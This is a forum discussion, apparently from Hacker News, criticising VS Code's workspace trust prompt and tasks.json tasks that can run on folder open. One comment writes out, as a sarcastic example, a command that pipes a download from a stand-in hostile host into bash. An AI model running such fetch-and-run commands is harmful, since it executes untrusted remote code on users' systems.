Emacs is a full IDE, not just a quick one-off editor. Its power comes from having everything scriptable from the ground up. Contrast this with the modern Extension concept, where there is a hard line between the editor's code and any changes you might want to make to its behavior.

I think vim is probably similar, but I've not gotten into it that much.

VSCode main architect is one of the Eclipse authors, Erich Gamma.

Other than that, it is more fashionable to ship Chrome with applications and JavaScript is hot. /s

Eclipse remains my main Java IDE at work.

Not a VSCode user, so a genuine question: what are practical use-cases in which you want VSCode to automatically execute a task only by opening a folder?

Is it only for convenience so it already `npm i` or `npm start` without you having to do anything, or are there any other legitimate purposes beyond that?

Apart from this feature specifically, in general people would like their IDE to run language servers, set up build systems, and any number of other things which are likely to require some configuration which allows executing some code in the folder to work. VS code has a restricted mode to prevent this, which you need to accept a dialog to disable, but it also disables most of its features.

> in general people would like their IDE to run language servers, set up build systems, and any number of other things

That I understand, I’m mainly wondering why all that would have to happen automatically by merely opening a folder.

My personal preference may differ here, but for things like running a build or starting a dev server, I usually prefer to trigger them manually, and not have them silently executed only by me browsing through the sources.

Therefore I’m trying to understand whether there are legitimate use-cases for this “auto-run on open folder” feature besides the obvious convenience aspect of saving one or two extra clicks.

When I used it, the one use case I used it was to automatically launch a Jekyll server - if I'm working on a site I'm almost certainly going to want to look at my changes in the browser. Now that I've switched I just run one extra command, it wasn't a big saving, but it was kind of nice.

It is scary that a text editor can run hidden code just by opening a folder. We traded our safety for convenience and now we are paying the price. Users will always click the button to trust a file if they think it helps them work faster. We cannot blame them when the software design makes it so easy to make a mistake.

Tooooo be fair

Vim had also had its share of execution vulnerabilities over the years.

https://github.com/numirias/security/blob/master/doc/2019-06...

Was going to say the same thing about emacs: https://news.ycombinator.com/item?id=42256409

What is share dot google? Here's the real link: https://news.ycombinator.com/item?id=42256409

Bah. It's what chrome on Android is doing now when I ask it to give me the link. Fixed it. Thanks!

I had searched for it in the search bar at the bottom of the home screen, which opened it in a chrome window. If you tap the share icon on the top right, you get the share.google link. If you tap the three dots and then something like "copy link" you get the actual link.

Yep, it's a shame that we keep making the same mistakes when it comes to basic security practices.

Doesn't it ask you if you trust a folder when you open it?

You are right that the computer asks you. But people click yes because they are used to ignoring warning signs. The software relies on people making perfect choices every time and that never happens.

It should tell me what should I look before I trust it. Not trusting the workspace means I might as well use Notepad to open it. I wouldn't think that tasks.json include autorun tasks in addition to build actions.

I always wondered why. Now I finally know that it auto runs code in that folder.

Who thought this is a good idea and why wasn't it specified in ALL CAPS in that dialog?

Is it even documented anywhere?

Very infrequent vscode user here, beginning to think it's some kind of Eclipse.

I mean it's not in caps, but it's literally the first line in the dialog after the header:

https://code.visualstudio.com/docs/editing/workspaces/worksp...

I'm big on user first, if that dialog had sirens blaring, a gif and ten arrows pointing that "THIS MAY EXECUTE CODE" and people still didn't get the idea, I'd say it needs fixing. It can't be said that they didn't try or that they hid it though.

Who remembers autorun.exe

Yeah but it's one of those useless permission requests along the lines of "Do you want this program to work or not?"

They're pawning off responsibility without giving people a real choice.

It's like the old permission dialog for Android that was pretty much "do you want to use this app?". Obviously most people just say yes.

There's a reason Google changed that.

To be fair I'm sure Microsoft would switch to a saner permission model if they could but it's kind of too late.

It's not a false choice - "Trust" and "don't trust" are both perfectly viable options. The editor works fine in restricted mode, you just won't have all your extensions enabled.

> We traded our safety for convenience

Not the first time. Same with LLMs.

Is tasks.json automatically run? I thought additional user interaction was required?

Does it matter that much? I don't think there is any "safe" build system. Users will try to build project sooner or later. With Maven it is easy to add a plugin with harmful payload as dependency, you won't spot it in "source", unless you carefully review every dependency. IDEs need containers/isolation and they need it now. Instead we got that "Do you trust this project" dialog.

The article doesnt' claim it's executed straight up either ("can result") but it's pretty ambiguous:

> When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system.

In the screenshot the task is named "node" - so it's a bit like embedding a malicious Makefile target as a backdoor.

Except harder to spot since it's in a obscure .vscode/somethingsomething json file. (And probably you can easily fool GH Copilot to run it)

Between long lost of dependencies, LLM and these threat models; developing inside containers should be default workflow.

I wonder what happens if you open the repo in VSCode Online through GitHub?

When the project is opened, Visual Studio Code prompts the user to trust the repository author. If that trust is granted, the application automatically processes the repository’s tasks.json configuration file, which can result in embedded arbitrary commands being executed on the system.

Sigh. It's so Microsoft to just run random stuff.

Of course, in the Linux world, we have "Install with"

   curl https://www.hostilecode.com > bash

tasks.json is the problem here, who thought that was a good idea?

Agree. But the first build you do after that clone/checkout is risky too. Maybe not as wide open, as the build-tool makers are a line of defence if they're acting on classes of vuln.

Maybe I'm a dinosaur in this regard but I don't like nor trust any of these desktop application that are really just Web technologies with an embedded browser eg Discord.

They're resource hogs and the attack surface is huge. You're basically betting that automatic code that's run won't find a vulnerability and escape the sandbox from an entire browser.

I have way more trust in Jetbrains IDEs and the JVM as a sandbox vs HTML/CSS/JS.

Still, I'm always impressed at the ingenuity of the people who come up with these attacks and the people who find them.

Won’t IDEA automatically index/execute some Gradle code when possible? As soon as you execute an arbitrary binary/script from the project directory, the isolation of the JVM doesn’t matter.

This particular vulnerability relied upon passing the require function to a scope to allow the loading and running of arbitrary code. This is what I tend to call a blacklist approach. You're saying in this sandbox certain features can't be used because they will allow escape.

The alternative is a whitelist approach. Instead of disallowing dangerous features you're enabling only the features you need.

So a build system like Gradle or Maven (same thing really) has a limited set of primitives it is allowing access to. It's not loading, say, the entire JVM and all the Java core libraries and then listing all those you can't use.

You see the difference? If nothing else, the blacklist approach is going to fail when the virtual machine (or whatever) adds a new API call upstream and it's added without intent to the sandbox by simply doing an update where nobody has thought to disable it.

Another way of looking at this is Gradle isn't being compiled into Java bytecode and run in the same environment as the IDE (sandboxed or otherwise). That is inherently riskier.

Same here, I only use VSCode because in some scenarios I have no choice, from regulated IT environments, or product SDKs with plugins only for it.

When I can avoid it, the better.

Yep. You’d think using web tech would make it really easy to sandbox any 3rd party JavaScript that gets run. But I suppose sandboxing is simply too inconvenient.

Because that isn't how it happens, the plugin model relies on external processes with OS IPC, most of them rely on basic process security model, and aren't even implemented in JavaScript due to performance.

A great reason why you should switch to Zed.

"Code provides features that may automatically execute files in this folder. If you don't trust the authors of these files, we recommend to continue in restricted mode as the files may be malicious."

If you proceed with "Trust Project" you're at your own fault.

You know what would be better? Telling me explicitly what file/script will run and asking permission for that. A blanket message every time is no better than the cookie popups and doesn’t tell me if the project has 0 files that will run.

The "trust project" feature has been designed to be so extremely intrusive and annoying that the first thing I do is to completely disable it whenever I install VS Code on a new computer. This "solution" was just done to tick some box and put the blame on the user when a security incident happens. It's pretty similar to Windows Vista where it annoyed you with a disruptive popup so many times during the normal course of actions that most people ended up disabling the whole UAC system. Overall security goes down, and Microsoft has a nice excuse.

Vista's annoyance had a purpose, to get program developers to change things to run without escalation. They didn't want you disabling UAC, and these days it breaks things to disable UAC.

By only having an upfront project-wide toggle, VS Code is much worse.

Yeah imagine if at boot Windows Vista gives you the UAC "Do you TRUST all the software you are going to run today?" and if you say yes then it just allows any random code to do whatever it wants.